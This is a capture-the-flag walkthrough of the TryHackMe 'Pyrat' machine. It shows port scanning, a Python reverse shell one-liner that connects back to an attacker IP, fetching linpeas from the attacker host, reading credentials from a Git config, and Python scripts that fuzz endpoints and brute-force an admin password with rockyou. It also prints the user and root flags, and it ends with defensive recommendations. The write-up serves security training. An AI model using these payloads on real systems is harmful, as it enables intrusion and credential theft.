Test your enumeration skills on this boot-to-root machine.
Challenge URL: https://tryhackme.com/r/room/pyrat
Task Pyrat
Pyrat receives a curious response from an HTTP server, which leads to a potential Python code execution vulnerability. With a cleverly crafted payload, it is possible to gain a shell on the machine. Delving into the directories, the author uncovers a well-known folder that provides a user with access to credentials. A subsequent exploration yields valuable insights into the application’s older version. Exploring possible endpoints using a custom script, the user can discover a special endpoint and ingeniously expand their exploration by fuzzing passwords. The script unveils a password, ultimately granting access to the root.
Answer the questions below
- What is the user flag? (Question Hint Only manual enumeration will help, do not waste fuzzing time).
2. What is the root flag? (Question Hint Keep playing with the custom app).
Understanding the Mission
Target IP Address: 10.10.76.170
Goal
- Finding a response from the HTTP server: The HTTP server on the target machine gives a “curious response.” Need to investigate this response because it might show a vulnerability that allows to run Python code.
- Creating a special payload: If found that the server is vulnerable, we can create a special piece of code (payload) to gain access to the machine. This access is often called a “shell,” which lets us run commands on the machine.
- Exploring the directories on the machine: Once we have a shell, need to look through the folders and files on the machine to find important information, like user credentials.
- Checking for an older version of the application: There may be an old version of the application running, which could have known security issues that we can exploit.
- Looking for special endpoints using a custom script: Endpoints are specific paths on the server. Using a script to find any hidden or unusual endpoints that might be vulnerable.
- Using password fuzzing to find a password: Fuzzing is a method of trying many different passwords quickly to see if one works.
- Geting access to the root (administrator) account: The final goal is to find a password that lets us log in as the root user and get full control of the machine.
From the Description
- There might be a Python code execution vulnerability on the server.
- We need a payload to run commands on the machine.
- Exploring the system can reveal important directories and credentials.
- We should look for vulnerabilities in any older versions of the application.
- A script will help us locate special paths (endpoints) and crack passwords.
- Our objective is to find both the “user flag” and the “root flag,” which prove we’ve completed the challenge
The Questions
- What is the user flag?
- A text file that need to be fond to prove having a to prove we have user-level access.
- What is the root flag?
- A text file that need to be fond to prove having a root-level (administrator) access.
Part 1
Step 1: updating the /etc/hosts file
Starting by updating the /etc/hosts file. TThis step maps the target IP address to a hostname (pyrat.thm). Its allows accessing the machine using the domain name pyrat.thm instead of the IP address
- Open using a text editor like nano the /etc/hosts
sudo nano /etc/hosts
2. Entering inside the target IP and the hostname
<target_ip> <hostname>
3. saving and exiting (Ctrl+O after Enter and Ctrl+X to Exit)
4. pinguing hostname
ping <hostname>
ping pyrat.thm
Step 2: Inspecting the webpage
Opening a browser and navigating to http://<target_ip> to see if there’s a web service running.
http://<target_ip>
or
http://<hostname>
http://pyrat.thm
Findings:
- The web server is not responding. This suggests that the service might be down or there could be other issues.
Next Step — Check the Server Status:
- Use tools like Nmap or Rustscan to see if the server is up and identify any services running on the target IP.
Step 3: Initial Enumeration
1. Nmap Scan to Identify Open Ports and Services
nmap -sC -sV -oN <saved_text_file) <TARGET IP>
· -sC: Runs default scripts for basic information gathering.
· -sV: Detects the version of services running on open ports.
· -oN nmap_initial.txt: Saves the output to a file named nmap_initial.txt for documentation.
2. Review the Scan Results
Listing the contents and inspecting the scan output
ls
cat nmap_initial.txt
Findings
Open Ports and Services Identified:
- Port 22 (SSH):
- Service: OpenSSH 8.2p1 running on Ubuntu.
- Supports SSH protocol version 2.0 with RSA, ECDSA, and ED25519 host keys.
- Port 8000 (HTTP):
- Service: SimpleHTTP/0.6 using Python 3.11.2.
- The server returned unusual error messages indicating issues with Python code execution (e.g., name ‘GET’ is not defined).
Next Steps — Based on Findings
- Investigate the HTTP Service on Port 8000:
- Navigate to http://<TARGET_IP>:8000 or http://pyrat.thm:8000 and check for any signs of vulnerability.
- The strange responses suggest there might be a Remote Code Execution (RCE) opportunity.
Check for SSH Access on Port 22:
- Look for SSH credentials or keys while investigating the web service.
or
3. Alternative Tool: Rustscan for Fast Port Scanning
RustScan is a network scanning tool, like Nmap, that quickly finds open ports on a target. The main advantage of RustScan is its speed, thanks to using the Rust programming language, which makes it faster and more efficient at scanning ports.
While RustScan is great for quickly identifying open ports, it doesn’t give detailed information about them. It relies on Nmap, which can perform deeper analysis to determine what services are running, their versions, and any possible vulnerabilities.
RustScan and Nmap make a powerful combination: RustScan speeds up the initial port scanning, and Nmap provides the detailed information needed for thorough security checks.
rustscan --ulimit 5000 -a <hostname> -b 1000 -- -A
rustscan --ulimit 5000 -a pyrat.thm -b 1000 -- -A
· — ulimit 5000: Increases the number of ports scanned at once.
· -b 1000: Sets the batch size to scan 1000 ports at a time.
· — : This is used to separate Rustscan options from the Nmap options that follow. It indicates that any arguments after the — should be passed directly to Nmap, rather than being interpreted by Rustscan.
· -A (passed to Nmap): The -A flag is an Nmap option that enables · -A: Enables aggressive Nmap scanning.
Findings
- Port 22 (SSH):
- SSH is running securely with no known vulnerabilities in this version.
- Potential to try brute-forcing or finding weak credentials if permitted.
- Port 8000 (HTTP):
- The Python SimpleHTTP server seems to interpret parts of requests as code, which could expose it to code execution risks.
- Error messages like invalid syntax suggest the server might be vulnerable.
Recommendations
- Investigate Port 22 (SSH):
- Try tools like Hydra or Medusa for brute-force testing (if allowed).
- Analyze Port 8000 (HTTP):
- Explore the web server manually for vulnerabilities, hidden files, or admin interfaces.
- Test for Python code execution by sending crafted HTTP requests.
- Use directory scanning tools (e.g., Gobuster) to find hidden content.
Need to look for Python Code Execution Exploits:
- If successful, use a reverse shell payload to gain access.
- Once inside, attempt privilege escalation to get root access.
Step 4: Testing for Python Code Execution
Crafting the URL with a Python Command
The goal is to check if the server can execute a Python command sent as part of the URL. Starting with a basic Python print statement.
- IN the web browser and send a request to the web server at http://<hostname>:8000 or http://<target_ip>:8000
http://pyrat.thm:8000/?cmd=print("Hello, world!")
When visiting the server at <hostname>:8000, it responded with “Try a more basic connection.” This suggested that the server might not respond the same way to standard web browser requests or it might be expecting a simpler or different form of interaction.
2. Using curl tool
curl http://pyrat.thm:8000
curl -X HEAD http://pyrat.thm:8000
curl -X POST http://pyrat.thm:8000
curl -X OPTIONS http://pyrat.thm:8000
Each method returned the same message: “Try a more basic connection.” This indicated that the server was still looking for a simpler or more direct form of interaction.
Step 5: Establish a Connection and Trigger Code Execution
Trying a Basic Tool Like Netcat
Netcat (nc) is a command-line tool used for network communication. It can connect to servers, send and receive data, and test network connections.
It is known as the “Swiss Army knife” of networking because of its versatility.
- Using Netcat to Connect to the Server
nc <hostname> 8000
nc pyrat.thm 8000
Hello
The response “name ‘Hello’ is not defined” , this suggests that the server is interpreting the input as Python code rather than as a normal HTTP request, indicating a potential code execution vulnerability.
2. Testing Python Commands via Netcat
Sending Python commands through netcat to see how the server responds.
nc <hostname> 8000
nc pyrat.thm 8000
print("Hello")
The response shows that the server executed the Python command print(“Hello”), confirming that it is indeed running Python code from the input. This means there is a Python code execution vulnerability, which can be exploit further.
Step 6: Establishing a Reverse Shell
Exploit the Python code execution vulnerability to establish a reverse shell on the target machine, enabling remote command execution.
Actions Taken:
- Setting Up a Listener:
A Netcat listener was started on the attacker’s machine to catch an incoming connection:
nc -lvnp 1234
The listener waits for a connection on port 123 (this port can be any open port on the attacker's machine).
2. Searching for Reverse Shell Cheat Sheet
Reverse Shell Cheat Sheet
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
3. Sending the Python Reverse Shell Command Using Netcat:
nc <hostname> 8000
nc pyrat.thm 8000
On the same window terminal once connected sending the Python reverse shell command
import socket,os,pty;s=socket.socket();s.connect(("<trget_ip>",<port>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
import socket,os,pty;s=socket.socket();s.connect(("10.2.7.247",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
3. Go back to the listener Terminal and check for connection
The reverse shell connection has been established, as indicated by the connection message in the listener (nc -lvnp 1234).
This allows the attacker to run commands on the target machine remotely.
4. Upgrade the Shell for Better Interaction
python3 -c 'import pty; pty.spawn("/bin/bash")'
5. Press Ctrl+Z to background the shell
6. make the shell more usable
stty raw -echo; fg
· stty: This command changes and prints terminal line settings. It’s used to configure how the terminal interacts with input and output.
raw: This mode disables input processing, making the terminal behave in “raw” mode. In this mode, special characters like Ctrl+C or Ctrl+Z won’t be interpreted by the terminal, and everything typed will go directly to the shell. This helps in making a remote shell behave more like a local interactive shell.
· -echo: This disables the terminal’s echo feature, meaning that the characters you type won’t be shown on the screen. When using a remote shell, this is useful to avoid duplicate characters when typing commands.
· ;: This semicolon allows you to run multiple commands sequentially in a single line.
· fg: This command brings a background process to the foreground. Since you used Ctrl+Z to suspend the Netcat shell, fg resumes the shell and allows you to continue interacting with it.
7. After run
<pre>export TERM=xterm</pre>
· export: This command sets or exports an environment variable, which is used by programs to get information about the operating environment.
· TERM=xterm: This sets the TERM environment variable to xterm, which informs the terminal and any programs running in the shell to use the xterm terminal type. This helps improve the compatibility of the shell with various terminal capabilities, such as text editing, color display, and line clearing.
Step 7: Post-Exploitation and Privilege Escalation
- Identify the Current User
whoami
2. Print working directory
pwd
Step 8: Finding the “well-known folder that provides a user with access to credentials,”
description, it says there is a “well-known folder” that could give us access to important information, like user credentials. In Linux systems, there are some common folders where we might find useful information:
- /home: This is where user folders are usually stored. Inside these folders, we might find files that contain important information, like the user flag.
· /opt/: Sometimes used for installing custom applications.
- /var/backups/: May contain backup files of configurations.
- /usr/local/: Often used for custom software installations.
- Lists all files and directories inside the /home directory,
ls -la /home
The output shows that there is a user directory named think under /home. However, the directory permissions are set to drwxr-x — -, meaning it is only accessible to the owner (think) and members of the think group. Since currently operating as the www-data user that do not have direct access to this directory.
2. Listing the Contents of the think Directory
ls -la /home/think
The output “Permission denied” message indicates that we do not have access to the /home/think directory with the current www-data user. Since direct access to this directory is restricted, will need to find another way to escalate your privileges or gain access to the files inside.
3. Using LINpeas to identify potential privilege escalation paths
cd /tmp
wget http://10.2.7.247:8000/linpeas.sh
chmod +x linpeas.sh
3. Running
./linpeas.sh
LinPEAS has detected some potentially interesting files
The location of the Git repository, /opt/dev/.git, is not a usual place where you would find a Git repository. Normally, Git repositories are stored in folders like /home/user/project (for user projects) or /var/www/html (for
Next is check the repository for any exposed secrets , configuration files, or sensitive code. Use tools like git log to review commit history or git show to examine file contents.
Step 9: Investigate the Git Repository
- Navigate to the Git Directory
cd /opt/dev/
cd .git
2. List the contents
ls -la
Findings of Contents of the .git Folder:
- branches: This folder usually contains information about branches in the Git repository.
- config: This file contains configuration details for the Git repository, such as repository URL and user settings.
- COMMIT_EDITMSG: This file contains the message from the last commit made to the repository.
- description: A brief description of the repository.
- HEAD: Indicates the current branch that is checked out.
- hooks: Contains scripts that can be executed at certain points in the Git process (e.g., before a commit).
- index: Keeps track of changes in the repository.
- info: Usually contains additional information about the repository.
- logs: Records changes made to the branches.
- objects: Stores all the Git objects, such as the contents of files and their history.
- refs: Contains references to branches and tags.
Step 10: investigate potential sensitive information
- Checking the latest commit message
This file contains the most recent commit message, which might provide clues about changes or sensitive information.
cat COMMIT_EDITMSG
The output of Commit Message (COMMIT_EDITMSG): “Added shell endpoint.” This suggests that there was a recent change related to adding an endpoint that might allow shell access. It could indicate a potential vulnerability you can exploit.
2. Checking the config file
The config file contains repository-specific configuration settings, which could include useful information, like remote repository details.
- Repository URLs: These could indicate where the code is hosted and may sometimes include credentials (e.g., username or password).
- User Information: Information about the user who set up the repository (e.g., email, name).
- Remote Repositories: Details about where the repository is being pushed or pulled from.
cat config
Findings:
- User Information:
- Name: Jose Mario
- Email: joselmwdf@github.com
- Credentials for GitHub:
- Username: think
- Password: _TH1NKINGPirate$_
The credentials could be useful for gaining access to other services or parts of the system.
Step 11: insuring the location of “think”
find / -user think 2>/dev/null
Findings:
The results, shows two important locations:
· /home/think: This is the home directory for the user “think.” It is likely where personal files and the user flag might be stored.
· /opt/dev/.git: This directory contains the .git folder for the repository you were exploring earlier. It may still have useful information, but it looks like we have already checked it.
Step 12: Exploring /home/think
Navigating to the /home/think directory to look for any important files
cd /home/think
ls -la
The permissions on the think directory are set to drwxr-x — -, which means:
- Owner (think): Read, write, and execute permissions.
- Group (think): Read and execute permissions.
- Others: No permissions.
Since we are currently the www-data user, do not have permission to access the think directory.
Step 13: Trying to accesses SSH into the think account using the credentials found
ssh think@<Target_IP>
ssh think@10.10.76.170
Password: _TH1NKINGPirate$_
Success in logging in as the think user. Now will explore the home directory (/home/think) to try find the user flag.
Step 14: Navigate to the think user’s home directory and Listing the content
cd /home/think
ls -la
cat user.txt
The user flag was found
Answer 1 : 996dbb1f619a68361417cabca5454705
Part 2
Step 1: Exploring the Git Repository for Sensitive Information”
The presence of a .git directory indicates a Git repository. It could contain sensitive information such as credentials, configuration files, or historical code changes that may expose vulnerabilities.
- Navigating to .git and checking the repository for any exposed secrets , configuration files, or sensitive code. Use tools like git log to review commit history or git show to examine file contents.
git log
2. Reviewing the Commit Details
Looking for changes that was made in that specific commit, including the modified files and the actual code changes
git show <commit>
git show 0a3c36d66369fd4b07ddca72e5379461a63470bf
def switch_case(client_socket, data):
if data == 'some_endpoint':
get_this_endpoint(client_socket)
else:
# Check if socket is admin and downgrade if not approved
uid = os.getuid()
if (uid == 0):
change_uid()
if data == 'shell':
shell(client_socket)
else:
exec_python(client_socket, data)
def shell(client_socket):
try:
import pty
os.dup2(client_socket.fileno(), 0)
os.dup2(client_socket.fileno(), 1)
os.dup2(client_socket.fileno(), 2)
pty.spawn("/bin/sh")
except Exception as e:
send_data(client_socket, e)
The output from git show confirms that a new file named pyrat.py.old was added, which includes two main functions: switch_case and shell.
- If the data sent by the client is “some_endpoint”, the code runs get_this_endpoint(client_socket), which likely performs a specific action related to that endpoint.
- If the data is “shell”, the code calls shell(client_socket), which starts a shell on the server, allowing command execution.
- For other data, it runs exec_python(client_socket, data), which appears to execute the input as a Python command (using a custom execution function, not Python’s built-in exec).
- There is also an admin check: If the server is running as the root user (uid == 0), the code calls change_uid() to lower its privileges.
Analysis:
The code allows for remote command execution. If someone sends the right commands to this service, they could get shell access or run arbitrary Python code, which makes the server very vulnerable to attacks.
Step 2: Exploit the Python Code Execution Vulnerability
Open a new terminal window and establishing a connection using Netcat
nc pyrat.thm 8000
shell
whoami
The result confirms that the vulnerability was successfully exploited, allowing a shell to be obtained on the target machine as the www-data user. The next step is to focus on privilege escalation techniques to gain root access and find the root flag.
Step 3: Fuzzing Endpoints to Find Useful Responses
After gaining initial access to the machine, the next step is to explore the different endpoints to identify potential vulnerabilities or useful information. We can do this by fuzzing the endpoints with different values to see how the server responds.
- Crating using nano text editor a file with script to Fuzz Endpoints named fuzzing_endpoint.py to test multiple endpoints and see if any of them give an interesting response.
The script will try each endpoint and display the server’s response.
import socket
def fuzz_endpoints(ip, port, endpoints):
for endpoint in endpoints:
try:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ip, port))
print(f"Testing: {endpoint}")
client_socket.sendall(endpoint.encode() + b'\n')
response = client_socket.recv(1024)
print(f"Response from {endpoint}: {response.decode()}\n")
client_socket.close()
except Exception as e:
print(f"Error with {endpoint}: {e}")
# List of potential endpoints to fuzz
endpoint_list = ["some_endpoint", "shell", "admin", "backup", "reset", "login", "help", "root", "register", "old"]
# Target IP and port (replace with actual values)
target_ip = "10.10.76.170" # The IP address of the target machine
target_port = 8000 # The port where the service is running
# Fuzz the endpoints
fuzz_endpoints(target_ip, target_port, endpoint_list)
2. Saving the script
3. Running the Script
python3 fuzzing_endpoint.py
The responses from the endpoints indicate the following:
- “some_endpoint”: The server does not recognize this endpoint, as shown by the message name ‘some_endpoint’ is not defined.
- “shell”: This endpoint successfully triggers a shell on the server, indicated by the response showing a shell prompt ($).
- “admin”: The server prompts for a password, suggesting this endpoint may require authentication.
- Other endpoints (“backup”, “reset”, “login”, “help”, “root”, “register”, “old”): These are not defined, as shown by the messages indicating the name is not recognized.
The important findings here are:
- The “shell” endpoint can be used to open a shell.
- The “admin” endpoint might lead to further access if the correct password is provided.
The next logical step would be to focus on cracking the password for the “admin” endpoint to see if it grants higher privileges or access to sensitive functions.
Step 4: Cracking the Password
an endpoint was identified that requires a password, such as “admin,” now will brute-force the password using a wordlist.
- We can modify previous script
We will create a file with a script named fuzzing_endpoint_passwords.py to automate the process of trying different passwords until we find the correct one.
import socket
# Configuration
target_ip = "10.10.76.170" # Target IP
target_port = 8000 # Target port
password_wordlist = "/usr/share/wordlists/rockyou.txt" # Path to the password wordlist file
def connect_and_send_password(password):
try:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((target_ip, target_port))
client_socket.sendall(b'admin\n')
response = client_socket.recv(1024).decode()
print(f"Server response after sending 'admin': {response}")
if "Password:" in response:
print(f"Trying password: {password}")
client_socket.sendall(password.encode() + b"\n")
response = client_socket.recv(1024).decode()
if "success" in response.lower() or "admin" in response.lower():
print(f"Server response for password '{password}': {response}")
return True
else:
print(f"Password '{password}' is incorrect or no response.")
return False
except Exception as e:
print(f"Error: {e}")
return False
finally:
client_socket.close()
def fuzz_passwords():
with open(password_wordlist, "r", encoding="latin-1") as file: # Updated to use encoding="latin-1"
passwords = file.readlines()
for password in passwords:
password = password.strip() # Remove any newline characters
if connect_and_send_password(password):
print(f"Correct password found: {password}")
break
else:
print(f"Password {password} was incorrect. Reconnecting...")
if __name__ == "__main__":
fuzz_passwords()
2. Saving the script
3. Running the Script
python3 fuzzing_endpoint_passwords.py
The correct password was found , which is abc123
Step 5: Gaining Admin Access
Once the script finds the correct password, connect to the target machine using Netcat
1. Connecting to the Target
2. Logging as Admin
3. Providing the Correct Password
4. Accessing a Shell
5. Exploring the File System
6. Reading the Root Flag
nc pyrat.thm 8000
admin
abc123
shell
ls
The root flag is
Answer: ba5ed03e9e74bb98054438480165e221
Findings
- Python Code Execution Risk
The HTTP service running on port 8000 is vulnerable to a flaw that allows Python code execution. This means an attacker can run arbitrary Python commands on the server, potentially leading to full system compromise, data theft, or unauthorized access. - Weak Password Protection
The “admin” endpoint relies on a password-based authentication system that was vulnerable to brute-force attacks using a common password list (rockyou.txt). This indicates the password policy in place is insufficient to protect against unauthorized logins. - Lack of Adequate Access Controls
Once access is gained via the “shell” endpoint, an attacker can browse the system and possibly escalate privileges to the root user. This suggests that access controls are not properly enforced, allowing low-level users to move laterally and gain more privileges. - Sensitive Information in Git Repository
A Git repository was present on the server, containing potentially sensitive files like configurations and source code history. This could give attackers useful insights or access credentials, making it easier to exploit vulnerabilities.
Recommendations
- Address the Code Execution Vulnerability
Prevent the server from interpreting user input as Python code by implementing proper input validation. Avoid executing untrusted data directly, and consider switching to a framework designed to securely handle web requests. - Improve Password Security
Implement a policy that requires strong passwords, particularly for admin accounts. Consider adding account lockout mechanisms after multiple failed login attempts to reduce the risk of brute-force attacks. - Enforce Access Control Measures
Restrict access to system files and directories based on user roles. Low-privilege users, such as www-data, should not be able to access sensitive directories or perform critical operations. - Secure the Git Repository
Remove or secure sensitive information within the Git repository, such as configurations or credentials. If it must be present on the server, limit access and ensure it does not contain any sensitive data. - Regular Security Reviews
Conduct ongoing vulnerability assessments and penetration testing to find and fix security weaknesses before they can be exploited by attackers. - Set Up Monitoring for Suspicious Activity
Enable logging and monitoring to track unusual behaviors, such as repeated login failures or suspicious command executions. This will help in quickly detecting potential security incidents.
By taking these steps, the server’s security posture can be greatly enhanced, making it much harder for attackers to succeed.